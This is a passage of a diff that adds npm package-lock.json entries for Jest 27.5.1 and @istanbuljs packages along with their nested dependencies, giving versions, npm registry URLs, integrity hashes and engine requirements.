+      "dependencies": {
+        "camelcase": "^5.3.1",
+        "find-up": "^4.1.0",
+        "get-package-type": "^0.1.0",
+        "js-yaml": "^3.13.1",
+        "resolve-from": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": {
+      "version": "5.3.1",
+      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+      "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+      "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+      "dependencies": {
+        "locate-path": "^5.0.0",
+        "path-exists": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+      "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+      "dependencies": {
+        "p-locate": "^4.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+      "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+      "dependencies": {
+        "p-try": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+      "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+      "dependencies": {
+        "p-limit": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/schema": {
+      "version": "0.1.3",
+      "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz",
+      "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/console": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.5.1.tgz",
+      "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "jest-message-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/console/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/console/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@jest/console/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/console/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@jest/console/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@jest/console/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@jest/console/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@jest/console/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/console/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/core": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.5.1.tgz",
+      "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==",
+      "dependencies": {
+        "@jest/console": "^27.5.1",
+        "@jest/reporters": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "ansi-escapes": "^4.2.1",
+        "chalk": "^4.0.0",
+        "emittery": "^0.8.1",
+        "exit": "^0.1.2",
+        "graceful-fs": "^4.2.9",
+        "jest-changed-files": "^27.5.1",
+        "jest-config": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-resolve-dependencies": "^27.5.1",
+        "jest-runner": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "jest-watcher": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "rimraf": "^3.0.0",
+        "slash": "^3.0.0",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
+      },
+      "peerDependenciesMeta": {
+        "node-notifier": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@jest/core/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/core/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@jest/core/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/core/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@jest/core/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@jest/core/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@jest/core/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@jest/core/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/core/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/environment": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.5.1.tgz",
+      "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==",
+      "dependencies": {
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@jest/environment/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/fake-timers": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.5.1.tgz",
+      "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@sinonjs/fake-timers": "^8.0.1",
+        "@types/node": "*",
+        "jest-message-util": "^27.5.1",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@jest/fake-timers/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/globals": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.5.1.tgz",
+      "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "expect": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@jest/globals/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
